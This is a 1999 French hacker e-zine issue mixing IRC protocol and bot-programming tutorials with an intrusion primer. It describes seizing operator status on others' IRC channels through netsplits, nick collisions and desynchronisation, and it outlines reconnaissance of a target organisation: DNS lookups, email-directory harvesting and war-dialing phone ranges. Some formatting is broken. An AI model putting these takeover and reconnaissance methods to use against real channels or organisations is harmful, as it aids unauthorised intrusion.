04.08.99 - H@CKOFF No17 - * Intrus * -
°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
_/ _/ _/_/ _/_/_/ _/ _/ _/_/ _/_/_/_/ _/_/_/_/
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
_/_/_/_/ _/_/_/_/ _/ _/_/ _/ _/ _/_/_/ _/_/_/
_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ /
_/ _/ _/ _/ _/_/_/ _/ _/ _/_/ _/ _/
°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø
_________________________________________________________________________
/ \
/ Bienvenue dans ce Hackoff No 17 Intrus edition. (sous le signe de la |
/ savate en fait!). Au sommaire de ce numero 17 on vous propose un txt sur /
| l'intrusion informatique sous plusieurs angles, la suite de l'irc hack /
\ tutorial, les bugs du cgi, bo2k, et probablement la fin du jargon file.. /
\________________________________________ ______________________________/
\ |
\|
__________
.,:;>The Crew<;:,.
/ .Silk. \
/ .Tobozo. \
____________________________________/ ..Yopyop.. \_____________________________
¦§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢£¤¥ ¦/ ..Sniffdoz.. \§¨©ª«¬-®¯°±²³´µ·¸¹º»¿øØÞþæ¡¢
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯/ ....Blured.... \¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
/ .....Misto!..... \
/ ........NK........ \
----8<----+-----8<--------8<-------\---8<--+-------8<---
/Special guest! : Stryknine\
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
____________________________________________________________
__________ / TabLe des mAtières : \
/ HACK0ff \ |¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯|
]-=v0L 17=-[ | [1]Disclaimer Tobozo |
\ Aout 99 / | [2]IRC Hack Tutorial - la suite - Blured75 |
¯¯¯¯¯¯¯¯¯¯ | [3]Intrusion Cakeii |
| [4]Cgi et bugs -suite et exemples - Yopyop |
| [5]Bo2k Stryknine |
| [6]Jargon file -fin?- Tobozo |
| |
---------8<------+--------------8<---------------------8<---------------------8<-
¦
:
.
_ _______________________ _
-*1*- `^°*;:,.> Ð ï $ © £ Å ï M Ê ® <.,:;*°^`
_____________________________/¯¯¯¯¯¯¯By Tobozo¯¯¯¯¯¯¯\___________________________
|
L'acces a ce document impose la lecture de ce (petit) disclaimer : |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
|
function Edito() |
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _
-*2*- `^°*;:,.> IRC Hack Tutorial - La suite - <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯By Blured75¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
IRC Hack tutorial
Texte par bLuReD75
Salut les loubards de l'IRC. Vous vous souvenez de l'irc-hack tutorial?
En voici la suite, avec cette fois ci des exemples en annexe (fournis
dans le package).
Théorie des IRC Nets
--------------------
Clients et serveurs
IRC est un système client/serveur. Cela veut tout simplement dire qu'il
y a une machine qui va se charger de recevoir toutes les connexions des
clients. Les serveurs gèrent entre 10 et 1000 connexions IRC simultanées
Les clients
Les clients, c'est vous et moi, chacun avec une machine différente. Il
existe une multitude de clients différents, pour tous les goûts, pour
tous les OS. La seule restriction pour pouvoir se connecter à un serveur
IRC, c'est que le client respecte le protocole défini dans le RFC 1459
(voir fichier annexe). Les clients les plus connus sont mIRC
sous Windows et ircII sous UNIX.
Les serveurs
Les serveurs sont presque tous sous UNIX. Le logiciel qui s'occupe de
recevoir et de gérer les connexions des clients s'appelle ircd (IRC
Daemon). Les ressources exigée par un serveur dépendent essentiellement
du nombre de personnes qui sont connectées. N'importe qui peut installer
un serveur IRC chez lui. Par contre, pour faire partie d'un des quatre
grands IRC Nets (20.000 personnes et plus), il faut une machine assez
puissante, et surtout une connexion à l'Internet permanente et rapide !
IRC Net
Si tout le monde devait se connecter sur le même serveur, le pauvre
serveur serait vite depassé par la situtation. C'est pourquoi en plus
des connexions client-serveur, le protocole d'IRC permet des connexions
serveur-serveur.
On peut voir comment sont interconnectés les serveurs en tapant la
commande /links.
Note : il ne doit jamais y avoir de boucle ! Heureusement, ircd vérifie
a chaque connexion si cela ne peut pas créer de boucle. Le cas echeant,
la connexion est annulée automatiquement.
Comment ça marche ?
Imaginons que tous les clients representés soient sur #toto. Si le
client 1 dit "glop" sur #toto, le serveur 7 va envoyer ce message au
client 2, car il est aussi sur le channel #toto. Mais il va aussi
signaler au serveur 2 que le client 1 a dit "glop" sur #toto. Le serveur
2 n'a aucun client sur #toto, donc il va seulement propager le message
au serveur 1. Le serveur 1 enverra le message au client 3, ainsi qu'aux
serveur 3, 4 et 8, et ainsi de suite...
Ca veut bien dire que lorsqu'on fait "glop" sur un channel, le message
va se propager à travers le monde jusqu'aux serveurs où sont connectés
chacun des membres du channel. Par contre, le message ne se propage
pas vers les serveurs qui ne sont pas concernés.
La répartition en réseau de serveurs permet donc de diminuer le nombre
de connexions sur chaque serveur, mais ça ne diminue pas beaucoup le
trafic qui passe entre les serveurs. C'est pourquoi, techniquement, on
ne peut pas dépasser des réseaux de plus de 35.000 utilisateurs sans
générer un lag pénible pour les utilisateurs : les connexions Internet
sont trop lentes !
Netsplits
Un phénomène qui en intrigue plus d'un, c'est les splits et les joins.
Il arrive parfois que les serveurs IRC soient surchargés, s'il y a trop
de monde sur l'IRC Net par exemple. Lorsqu'un serveur n'arrive plus à
suivre, il peut décider de "splitter", c'est à dire de casser une de ses
liaisons avec un autre serveur. L'IRC Net originel se retrouve alors
scindé en deux IRC Nets complètement indépendants.
Sur un channel, on voit parfois plusieurs personnes partir au même
moment. Cela peut être dû à un netsplit. On reste alors seul avec les
personnes qui sont du même côté du split. Imaginons par exemple, que le
Serveur 1 et le Serveur 4 splittent. Les clients 1, 2 et 3 voient
alors les client 4 et 5 partir, et vice-versa !
On peut aller voir ce qui se passe de l'autre côté du split se
connectant à un des serveurs qui a splitté. Sur les nouveaux serveurs
2.9, on peut voir les netsplits/netjoins simplement allant sur le
channel &servers. Il est possible de profiter des netsplits pour gagner
l'op sur un channel. Evidemment, ce genre de pratique peut conduire à
de graves ennuis avec les propriétaires du channel et les IRCOPs qui
surveillent ce genre de choses. Voyons point par point comment cela
se passe.
Supposons que le channel appartienne a Client 2. Jusque là tout va bien.
Les choses se gâtent quand le Serveur A décide de splitter.
En effet, Client 1 se retrouve alors tout seul. Il peut quitter puis
revenir sur le channel pour devenir op.
Au moment du netjoin, Client 2 va voir Client 1 arriver, et se faire
oper par Serveur A. Inversement, Client 1 va voir Client 2 se faire
oper par Serveur B. C'est ce qu'on appelle un server-op.
Et qu'est-ce qu'on fait maintenant ? Et bien c'est le plus rapide qui
va déoper l'autre. Mais s'ils se déopent en même temps, on peut aboutir
à une désynchronisation !
Pour être sûr de gagner l'op, Client 1 aurait pu lancer un deuxième
client sur son Serveur A qui aurait pris le même nick que Client 2.
Au moment du netjoin, il se serait produit une "nick collision", et
les deux personnes, Client 2 et son jumeau, auraient été déconnectées.
Client 1 se serait retrouvé seul avec l'op.
Avec la version 2.9 des serveurs IRC intervient le Nick Delay, ND. Les
serveurs se "souviennent" des channels et des nicks. Si l'on prend un
nick qui existait sur un autre serveur, ou si on join un channel qui
n'était pas vide avant le split, le serveur renvoie l'erreur :
"Nick/channel is temporarily unavailable". Mais comme le dit le
message, ça n'est que temporaire, et si le split dure, le channel
pourra quand même se faire hacker. Le ND dure en général 10 à 30
minutes, ce qui est supérieur à la durée de la plupart des splits.
Désynchronisation
Chaque serveur stocke l'état complet du réseau IRC : qui est où, sur
quel channel, sur quel serveur, avec quels modes etc... L'état interne
est le même à tout instant sur tous les serveurs... en théorie. En
pratique, il y a du lag, des délais de plusieurs secondes dûs à la
lenteur des connexions Internet.
Cela crée un retard dans la propagation des évènements. De ce fait,
il arrive parfois que des évènements ne se produisent pas dans le
même ordre selon point d'où on les observe. Ca vous rappelle la
mécanique quantique ? Alors prenons un exemple concret :
Le client 1 deop le client 2, et au même instant (disons à un
dixième de seconde près), le client 2 deop le client 1.
Sur le serveur A, le deop du client 1 arrive avant le deop du
client 2. Pour A, 2 est deopé par 1. D'autre part, sur le serveur B,
le deop du client 1 arrive après celui du client 2. Pour B, 1 est
deopé par 2.
Puis, comme pour tout message, chaque serveur propage le message
de deop qu'il a reçu à ses voisins...
Mais dans notre cas, quand le deop du client 1 arrive sur le
serveur B, 1 n'est plus op, donc le serveur B signale gentiment
l'erreur au client 1 : "You are not channel operator". Inversement,
le deop du client 2 ne prendra pas effet sur le serveur A.
Nos deux serveurs sont maintenant dans deux états différents, et
vont le rester ! En effet, il y a égalité entre les serveurs, donc
il n'y a pas de raison que l'un d'eux l'emporte sur l'autre.
Server-op
Il ya deux façon de devenir op sur un channel :
Se faire oper par un utilisateur op
Se faire oper par un serveur
Pour se faire oper par un utilisateur, il faut demander au Monsieur.
Se faire oper par un serveur, c'est simple comme bonjour : il suffit
de joiner un channel vide ! Eh oui, lorsqu'on arrive sur un channel
vide, c'est le serveur sur lequel on est connecté qui nous op.
Sympa non ?
Maintenant, voyons comment on peut utiliser notre désynch' pour
se faire oper :
D'abord, on kick le client 2.
Evidemment, comme client 1 n'est pas op sur le serveur B, le
client 2 ne va s'apercevoir de rien. Pour lui on a l'air bien sage.
Maintenant, on quitte notre channel. Pour le serveur A, le channel
n'existe plus.
Puis on revient !
Qu'est-ce qui se passe ? Et bien pour le serveur A, on vient d'entrer
sur un channel vide, donc il nous op. Et en bon serveur qu'il est, il
informe les autres serveurs qu'il nous a opé sur ce channel. Sur le
serveur B, le client 2 voit de ses yeux ébahis le serveur A nous oper :-)
Avertissement
Cette méthode peut très bien fonctionner pour prendre le pouvoir
sur un channel. Sachez que les IRCOPs ont des moyens de surveiller
les désynch', notamment en allant sur le canal local &channel (tout
le monde peut y aller). Créer volontairement des désynch' est un très
bon motif pour se retrouver banni des serveurs IRC.
Logs
Si vous n'avez pas cru un mot de ce que j'ai raconté, voici un petit
log. Mechant et Gentil sont sur deux serveur differents, et sont au
depart tous les deux ops (suite a un netjoin par exemple).
*** Users on #Glop: @Mechant @Gentil
*** Mode change "-o Gentil" on channel #Glop by Mechant
*** Gentil has been kicked off channel #glop by Mechant (Mechant)
*** Users on #Glop : @Mechant
*** Mechant has left channel #Glop (Mechant)
*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o
*** Users on #Glop: @Mechant
*** Users on #Glop: @Mechant @Gentil
*** Mode change "-o Mechant" on channel #Glop by Gentil
*** Users on #Glop : @Gentil Mechant
*** Mechant has left channel #Glop (Mechant)
*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o
*** Users on #Glop : @Mechant @Gentil
Après la désynch', Mechant peut quitter et joiner le channel autant
de fois qu'il veut se faire oper par le serveur sur lequel il est.
Ce server-op apparait ici au niveau du "+o" qui figure en fin de
la ligne de join de Mechant :
*** Mechant (blured75@ted.via.ecp.fr) has joined channel #Glop +o .
Cela peut aussi apparaître sous la forme d'un
*** Mode change "+o Mechant" on channel #Glop by irc.glop.fr
juste après le join sur les anciennes version de serveur.
Essayez par vous même !
Les serveurs fred.via.ecp.fr et ted.via.ecp.fr sont à votre
disposition pour toutes les expériences possibles; ils font partie
d'un réseau expérimental, l'ECPnet. Par contre, n'essayez pas sur
des serveurs officiels, vous risqueriez d'en être banni.
************************************************************************
IRC-Nets
Voici une petite liste de serveurs sur lesquels on peut se connecter
depuis la France. Vous trouverez une liste et des cartes complètes
de serveurs sur le site de #IRChelp .
Principaux serveurs
IRCnet
130 serveurs, 25.000 utilisateurs
sil.polytechnique.fr
irc.enst.fr
irc.emn.fr
irc.grolier.net
salambo.Enserb.U-Bordeaux.Fr
irc.insat.com
IRC.Eurecom.FR
irc.funet.fi
irc.stealth.net
irc.webbernet.net
EFnet
70 serveurs, 40.000 utilisateurs
irc.ec-lille.fr
Ce serveur français, normalement connecté à IRCnet, s'est exilé sur
EFnet suite à de sombres histoires d'IRCOP...
Undernet
40 serveurs, 25.000 utilisateurs
Caen.Fr.Eu.UnderNet.org
Diemen.NL.EU.undernet.org
DALnet
30 serveurs, 20.000 utilisateurs
taxi.ny.us.DAL.net
Serveurs divers
ECPnet
Petit réseau deviendra... petit.
tibob.via.ecp.fr
LinuxNET et LISC
Pour parler de Linux.
irc.blackdown.org
irc.debian.org
Microsoft Network
Ou les RFCs bafoués en tous points.
irc.msn.com
SandNET
Un réseau sympa avec services de registration
stlouis-mo-sandnet.ml.org
UltraNET
Le réseau de Club-Internet
neuilly.fr.eu.ultranet.org
Gamma Force
Petit réseau Nord Americain
phantom.ultranet.ca
Spririt Web
Serveur en mal de connectés
irc.spiritweb.org
KidLink et Kids World
Dédié aux enfants, il faut d'abord s'inscrire.
************************************************************************
BOT
Introduction
Je vous propose de construire étape par étape, de manière simple, un
robot IRC.
Connexion à une machine
Connexion
D'abord votre bot va devoir se connecter à un serveur. Vous trouverez
ici (voir fichier annexe - prog_irc.txt) un petit programme en Python
qui ouvre une socket en TCP sur le port 6667, exactement comme le ferait
un client IRC "normal". Voici la version en C, (idem) un moins parlante.
Vous pouvez aussi établir cette connexion "à la main" en tapant
simplement sous UNIX :
telnet <server> 6667
Par exemple :
ted:~>telnet irc.funradio.fr 6667
Trying 138.195.128.128...
Connected to tibob.via.ecp.fr.
Escape character is '^]'.
Sous Windows, il suffit de faire "connexion distante", et préciser, en
plus de l'hôte, le port "6667" au lieu du port "telnet".
Maintenant, on est connecté, mais on n'est pas encore authentifié au
niveau du serveur IRC.
Login
Le Login est une phase ou le client donne les infos nécessaires pour
que le serveur nous "enregistre". Le protocole est une fois de plus
défini dans le RFC 1459 (idem voir fichier annexe) au paragraphe 4.1,
et se résume à peu pres à :
envoyer une première ligne : NICK <nick>
envoyer une seconde ligne : USER <username> <hostname>
<servername> <realname>
<username> est le login
<hostname> le nom de machine
<servername> est le nom de serveur
<realname> est l'IRCNAME qui apparait lors d'un whois
Remarques :
N'oubliez pas le [enter] en fin de ligne ('\n' en C)
hostname et servername sont ignorés par le serveur (ca ne sert que
lorsque deux serveurs discutent entre eux)
username sera remplacé par le vrai login si la machine depuis laquelle
on se connecte a un démon d'identification (identd). C'est le cas de
la plupart des machines.
Certains serveurs demandent un mot de passe, qui doit etre specifié
dans une troisième ligne : PASS <password>
Certains serveurs vont envoyer un PING :<numéro>, auquel cas on
devra répondre avec un PONG <numéro> pour terminer l'enregistrement.
Voyons cela en pratique :
ted:~>telnet irc.funradio.fr 6667
Trying 138.195.128.128...
Connected to tibob.via.ecp.fr.
Escape character is '^]'.
USER toto titi tata tutu
NICK toutou
:tibob.via.ecp.fr 001 toutou :Welcome to the Internet Relay Network
toutou!fred@ted.via.ecp.fr
:tibob.via.ecp.fr 002 toutou :Your host is tibob.via.ecp.fr,
running version 2.9.4
:tibob.via.ecp.fr 003 toutou :This server was created Tue Feb 24 1998
at 19:32:22 CET
:tibob.via.ecp.fr 004 toutou tibob.via.ecp.fr 2.9.4 oirw abiklmnopqstv
La plupart des clients exécutent alors immédiatement les deux
commandes suivantes :
LUSER (vous affiche des infos sur les connexions de ce serveur)
MOTD (vous affiche le "Message Of The Day")
Une fonction qui effectue le LOGIN est très simple; en voici un
exemple en Python et en C (voir annexe).
On a maintenant un robot capable de faire de l'IRC, c'est déjà beaucoup !
PING ? PONG !
Malheureusement, l'espérance de vie de notre robot est, à cet instant,
limitée à quelques minutes seulement. En effet, si l'on poursuit
notre "TP", on voit apparaître au bout d'un instant :
PING :tibob.via.ecp.fr
ERROR :Closing Link: toutou[fred@ted.via.ecp.fr] (Ping timeout)
Connection closed by foreign host.
Le serveur nous envoie un PING pour vérifier que la connexion est
bonne. Il faut répondre... PONG bien sûr ! C'est ce qu'on appelle
"le challenge" du serveur. (voir annexe)
PING après le PONG :
PING :tibob.via.ecp.fr
PONG :tibob.via.ecp.fr
S'il n'y a pas de PONG, le serveur envoie un message d'erreur et
ferme la connexion. Le délai pour répondre est de l'ordre d'une
minute, selon les serveurs, mais on a tout intérêt à répondre le
plus tôt possible !
Voici une fonction en Python ou en C qui écoute sur la socket
que l'on a ouvert, et repond en cas d'un eventuel PING.
Zebot
Parfait, toutes les fonctions vitales d'un bot sont là. On peut
les assembler pour faire un bot qui va se connecter et rester
connecté indéfiniment : c'est Zebot, le bot zéro, et son homologue
en Python Pybot (voir annexe).
On peut même faire un script Shell, qui effectue les opérations de
notre "TP", puis rentre dans une boucle qui PONG; c'est le Sh-Bot.
Attention, c'est programmé au plus simple. On remarquera que le
programme plante si on flood le bot par exemple. A perfectionner !
Sockets
Introduction
Zebot, tel qu'il a été construit, n'a aucun avenir. On verra le
problème de structure tout à l'heure, mais avant cela il y a deux
problemes de socket :
Zebot a une socket bloquante : il ne peut absolument rien faire
pendant qu'il fait son read(sock, buff, MAX_SIZE-1).
Zebot n'écoute que sur une seule socket.
Or un bot doit pouvoir faire plusieurs choses pendant qu'il
écoute sur le réseau, et il doit aussi pouvoir écouter sur
plusieurs sockets, s'il accepte les DCC CHAT par exemple.
Select/fd_set
Ce paragraphe va etre très technique, mais apporte une solution
propre à nos deux problèmes.
fd_set
On déclare une variable globale de type fd_set, nommée fdused.
#include <string.h> /* FD_SET */
extern fd_set fdused; /* liste des sockets sur lesquelles on
fait le select */
Puis on suit la procédure suivante :
Initialisation
Une petit fonction d'initialisation :
void initsocket(void)
{
sockmax=0;
FD_ZERO(&fdused); /* initialisation de fdused */
}
Ajout d'une socket
A chaque fois que l'on va ouvrir une nouvelle socket (un nouveau
DCC CHAT ou une nouvelle connexion à un serveur), on va appeler
la fonction suivante :
void addsocket(int sock)
{
FD_SET(sock,&fdused); /* on note dans fdused que la socket 'sock'
est utilisee */
if(sock>sockmax) /* on a besoin de connaitre le plus grand */
sockmax=sock; /* numero de socket pour le select */
printf("Added sock %d\n", sock);
}
Effacement d'une socket
Inversement, si l'on doit fermer une socket, on appellera :
void delsocket(int sock)
{
FD_CLR(sock,&fdused);
if(sock==sockmax)
{
while(--sock>0)
if(FD_ISSET(sock,&fdused))
break;
sockmax=sock;
}
}
puis on fermera la socket :
close(sock);
Select
Maintenant, voyons comment nous allons pouvoir écouter sur toutes
les sockets positionnées dans fdused, tout en faisant autre chose.
La fonction select prend 5 arguments. Le premier est le numéro de
socket le plus grand plus un ! (sockmax +1). Le second est notre
fdused. Les 3e et 4e sont NULL. Le dernier est le temps au bout
duquel on sortira du select même si on a rien reçu. C'est grâce
à ce dernier argument qu'on pourra reprendre regulièrement la main
pour faire autre chose (toutes les 100ms par ex.).
Note : si on reçoit quelquechose, on sort tout de suite du select.
fd_set fdread;
int status;
char buff[512];
struct timeval timeout={0L, 100000L}; /* .1 second max. in select */
memcpy(&fdread, &fdused, sizeof(fdused)); /* on fait une copie de fdused */
while((status=select(sockmax+1, &fdread, NULL, NULL, &timeout))<0)
warn_log("receive: Error receiving socket");
timeout.tv_sec=0; /* timeout a été effacé par select */
timeout.tv_usec=100000; /* donc il faut le remettre a 0.1 sec */
Si la variable status est à 0, c'est qu'on est sorti par timeout,
donc il n'y a rien dans les sockets. Par contre, si status n'est
pas nul, il faut aller voir ce qui a été reçu sur chacune des sockets.
Supposons qu'on ait une structure socket, avec un numéro de socket,
socket.number, et un pointeur sur la socket suivante, socket.next
(le dernier pointant sur NULL). first_socket est notre première socket.
for(reactor=first_socket; reactor!=NULL; reactor=reactor->next)
if(FD_ISSET(reactor->number, &fdread)!=0) /* On regarde s'il y a
quelquechose dans cette socket */
read_msg(reactor); /* Il y a quelquechose, on appelle une fonction
qui fera un read(reactor,...) */
On remarquera que le select ne lit pas les données. Il permet juste
de savoir s'il y en a en attente ou pas.
Conclusion
On a maintenant le nécessaire pour gérer un nombre illimité de
sockets. Il reste bien sur à écrire les fonctions read_msg qui
lisent les messages reçu, les traitent, et réagissent en fonction
de leur contenu.
Configuration
Dernière chose avant de passer à la structure du bot : le parsage
de la configuration. En effet, il ne faut pas faire comme dans
Zebot où l'on a codé en dur l'adresse du serveur par exemple.
Généralement, on fait un fichier contenant les informations sur
les serveurs IRC, un autre sur les utilisateurs du robot, avec
leurs droits. Le robot doit lire ces fichiers au lancement, et
sauvegarder sa configuration dedans au cours de son fonctionnement.
Le parsage des fichiers est quelquechose d'assez fastidieux à coder
en C. On peut utiliser Lex et Yacc. Ce système de fichiers de
configuration permet de ne pas avoir à recompiler le bot à chaque
changement de configuration, ce qui est appréciable !
Structure
Voilà, on y est ! Voyons d'abord les quatres fonctions du bot :
Le parser s'occupe de traiter les messages reçu sur les sockets.
Le if s'occupe d'appeler les fonctions concernées par le message reçu.
Les fonctions réagissent en fonction du message reçu. C'est le coeur
du robot.
La queue s'occupe de traiter les information sorties des fonctions
pour les envoyer au serveur.
La Queue
Il faut absolument faire une fonction qui récupère les messages
générés par les fonctions et les envoie vers le serveur IRC. En
effet, si toutes les fonctions envoient des données directement
dans les sockets, on a aucun contrôle sur le débit envoyé. Si
toutes les fonctions parlent en même temps, le bot va flooder
le serveur IRC. Il risque alors de se faire déconnecter. Toutes
les fonctions doivent donc impérativement envoyer leur données
vers une fonction qui les stocke, et les envoie progressivement.
Malheureusement, il n'y a pas d'algorithme sûr pour calculer le
débit que l'on peut envoyer sans flooder le serveur. Il vaut
mieux le déterminer expérimentalement, selon le serveur.
S'il y a beaucoup de messages en attente, la fonction de queue
peut se charger aussi d'optimiser : passer les messages
importants avant les autres, regrouper les modes, etc...
Le Parser
Le parser obtient les données brutes venant du serveur. Par exemple :
:toto!hero@glop.via.ecp.fr PRIVMSG #glop :Salut !
Il va se charger par exemple de séparer le nick, le login et le
host, et mettre tout ça dans un belle structure. Un peut aussi
en profiter pour rechercher les droits de la personne en question
dans une userlist enregistrée quelquepart. Par exemple :
struct message {
struct user {
char *nick;
char *login;
char *host;
int user_level;
} *from;
char *commande;
char *to;
char *texte;
};
Ensuite, le parser passe cette structure au "if"...
Le "If"
Il s'agit en fait de la moulinette qui va aiguiller la structure
envoyée par le parser vers les fonctions qui doivent être appelées.
Cela peut être une opération très basique, comme une succession de
"if(!strcmp(parsed_msg->commande, "PRIVMSG")) ..." ou autre chose
de plus compliqué (voir Lignus II, quand le site sera fait...).
Les fonctions
Ce sont les fonctions qui constituent l'âme du bot. Les autres
modules ne sont que des interfaces. Un fonction peut être très
simple : quand elle reçoit un PING :%s, elle renvoie un PONG :%s,
ou très complexe (selon l'imagination du concepteur).
Listes doublement chaînées
Un bot, c'est plein d'allocations dynamiques. Il est donc
conseillé d'utiliser des listes doublement chaînees : c'est
plus pratique et plus sûr.
Annexes (fichiers joints dans le package) :
La version en C :
socket.c
Le RFC 1459 sur l'IRC
-irc_rfc_fr1459.htm
Fonction qui effectue un login en Python :
-log_in.py
Le même en C :
-log_in.c
Fonction qui écoute sur le socket que l'on a ouvert et répond en cas
d'un éventuel PING (en python) :
-pong.py
Fonction qui écoute sur le socket que l'on a ouvert et répond en cas
d'un éventuel PING (en C) :
-pong.c
Script de ZeBot en Python :
-pybot.py
Script de Zebot en C :
-zebot.c
Zebot en script sh --> ShBot :
-bot.sh
Et petit cado :
Connection à un serveur irc en python :
#! /usr/bin/python
# On importe toutes les fonctions de la librairie "socket"
from socket import *
host = 'blured.via.blurhost.fr'
# On resoud le nom de machine
hostaddr = gethostbyname(host)
# On ouvre une socket
# AF_INET - type Internet
# SOCK_STREAM - type TCP (par opposition avec UDP)
sock = socket(AF_INET, SOCK_STREAM)
# Et on se connecte ! s
ock.connect(host, 6667)
# Et voila !
Blured
¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸¸,ø¤º°`°º¤ø,¸
_ ________________________________________ _
-*3*- `^°*;:,.> Intrusion <.,:;*°^`
___________________/¯¯¯¯¯¯¯¯¯¯¯¯¯¯ By Cakeii ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\_____________________
|
Recoupement d'informations : cakeii |
Intrusion et securite | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
IntrusionC e document a pour but de vous initier à l'intrusion dans un système informatique et ce, dans un but purement educatif. On considere ici que l'intrusion est un pas a franchir dans le chemin qui mene a la notion de securite informatique.
D epuis quelques temps, c'est la sérenade dans la presse informatique et nationale sur les nouveaux 'hackers', pardon 'consultants en sécurité' serait plus adéquat, qui font des essais d'intrusions, ils sont rénumérés pour hacker et tester la securité informatique ! Derrière le terme 'hacker' il y a des competences en techniques simples : une bonne connaissance de l'informatique TCP/IP, Unix, un ou deux langages de programmation (de preference C et Perl) et un esprit souple.L a Technique de l'intrusion demande surtout de savoir lire les faq des groupes de hackers américains, puisqu'il n'en existe pas réellement en français. Pour le plaisir des petit et des grands, nous allons découvrir le monde merveilleux de l'intrusion.ApprocheNotre approche consiste à attaquer selon 3 axes et en 3 phases. Les 3 axes :
Préliminaire : Le matosIl faut disposer des équipements suivants :
Pour les OS Win32, les soft pour le hack sont sous dimensionnés, donc on utilisera plutôt Win 3.11 ou Linux. Phase 0 : récupération d'outils et configuration des machinesLes outils sont différents selon les axes d'attaques et selon l'OS utilisé pour l'attaque. Il est évident que UNIX est l'OS le plus simple pour réaliser ce type d'opération car la quasi-totalité des outils sont standards et peuvent être automatisés dans un shell script. Attention : Autant, il est " facile " de communiquer vers un provider sous W3, W95 et Windows NT, autant cela n'est pas simple sous LINUX.
Outils standard
Outils spécifiques
Dispo en telechargement sur des sites underground repondant au mot-clé phreaking dans les moteurs de recherche.
Phase 1 : récupération d'informations
Ce qui distingue cette phase de la suivante, c'est que toutes les opérations réalisées sont totalement licites. Il ne s'agit que de récupération d'informations disponibles sur Internet ou ailleurs. Seules certaines récupérations et l'usage de TONELOC (appels des plages d'un autocom) sont limites. Source d'informations "ponctuelles"Les sources d'informations ponctuelles peuvent être multiples (carte de visite obtenues de différentes manières (visite commerciale chez la victime, annuaire, Minitel, informations recueillies par echanges, etc.). Elles ont pour objectif de récupérer :
Source d'informations techniques
Les sources d'informations techniques peuvent être soit immédiatement obtenues par des informations "publiques" sur la victime (son nom, le nom de ses filiales, etc.) soit itérées en fonction des résultats du chapitre précédent.
Récupération des adresses IP officielles dans l'annuaire DNS avec "whois", "nslookup" et "dig ". Utilisation des vecteurs classiques (moteurs de recherche, news via www.dejanews.com, email via www.four11.com, etc.) pour obtenir des domaines de messagerie ou des serveurs web.
1. L'annuaire DNS mondial
Un nombre important d'adresses IP européennes est aujourd'hui gérée par le RIPE. Le serveur "whois.ripe.net" permet de récupérer des infos mais il n'est pas aussi souple sur les caractères de substitutions que celui d'internic. mettre un exemple de whois Selon les cas, on trouve soit des adresses IP de réseau (le pied) soit des noms de réseaux. Si on obtient des noms de réseaux uniquement, il y a de forte chance pour que le site ne soit pas directement connecté à internet mais uniquement via un provider et en connexion à la volée A contrario, ce n'est pas parce que l'on obtient une adresse IP que la société est réellement connectée sur Internet. Elle peut avoir simplement réservé cette adresse pour un usage futur. On doit donc utiliser dans cet outil :
Remarque :
gopher://ds1.internic.net:4320/7netfind%20dblookup C'est une couche réseau qui exploite les tables DNS. On interroge tout d'abord la table internic (rs.internic.net) puis si nécessaire d'autres serveurs .
A valeur par défaut, adresse/nom DNS ou inverseLes autres valeurs sont : CNAME, NS, PTR, SOA, AXFR, MB, MD, MF, ANY (qui ne marche pas). Pour plus de détail, cf. Man nslookup et rfc1035.
Remarque : 2. Les moteurs de recherches
3. Les news
4. Les annuaires d'email.
Joseph Abdallah @lanl.gov
CURRENT ORGANIZATION: T-4 Atomic And Optical Theory
Raj Acharya @vaxd.gat.com
CURRENT ORGANIZATION: General Atomics
Les domaines d'email sont surement l'un des moyens les plus efficaces pour trouver des adresses gérées par des providers ou des sites qui n'ont pas le nom des sociétés de la victime dans leur nom.
Axe RTC : Recherche de ModemUtilisation du dialer MSDOS TONELOC pour détecter les porteuses de modems. Une recherche de modem peut être envisagée dès lors que l'on connaît des numéros ou des plages de numéros correspondant à la société cible. Cette méthode ne garantit aucunement l'exhaustivité de la recherche puisque les modems sont souvent accessibles au travers de numéros analogiques qui ne sont pas gérés par le PABX. Une recherche plus efficace peut être envisagée en parcourant exhaustivement les plages utilisées sur le site géographique de la cible. Il est par contre impossible dans ce cas d'être sûr que les numéros sur lesquels une porteuse est détecté appartiennent bien à la cible. Cela pose un problème financier (si des particuliers sont appelés, ils décrocheront et la communication deviendra payante). Les contraintes
Le coût
Le temps
garantie de résultat
